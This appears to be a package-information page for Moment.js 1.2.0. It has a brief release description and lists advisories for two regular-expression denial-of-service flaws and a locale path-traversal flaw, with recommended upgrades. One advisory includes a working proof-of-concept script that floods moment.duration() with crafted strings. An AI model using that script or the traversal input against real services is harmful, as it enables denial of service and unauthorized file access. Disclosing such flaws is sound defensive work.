Version 1.2.0 Details

Moment.js, a popular JavaScript date library praised for its ease of use in parsing, validating, manipulating, and formatting dates, saw a significant update with the release of version 1.2.0 following the previous stable version 1.1.1. Both versions maintain the core philosophy of simplifying date handling without modifying the native Date object, a crucial design choice for avoiding potential conflicts in larger projects.

The core difference lies in the enhancements and fixes introduced between the versions; however, detailed changelogs for such early versions are not readily available via this data. Developers upgrading would have likely benefited from bug fixes, performance improvements, and potentially new formatting or parsing options that weren't present in 1.1.1. The gap of roughly three weeks between the release dates, November 11th and December 6th, suggests that version 1.2.0 could include important patches accumulated during that period. It's worth noting that even in early versions, Moment.js, created by Tim Wood, provided a more human-friendly API compared to working directly with JavaScript's built-in date functions. For legacy systems dependent on these specific versions, understanding these subtle differences can be crucial. Developers were able to leverage the tarball URLs from the dist section to download the versions and integrate them into their projects. These early releases established Moment.js as a valuable tool for front-end and back-end development.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 1.2.0 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 1.2.0 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js

Recommendation

Please update to version 2.11.2 or later.

Details about moment@1.2.0

Summary:

Regular Expression Denial of Service in moment

Details:

Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.

Recommendation

Update to version 2.19.3 or later.

Details about moment@1.2.0

Summary:

Path Traversal: 'dir/../../filename' in moment.locale

Details:

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds

Sanitize user-provided locale name before passing it to moment.js.
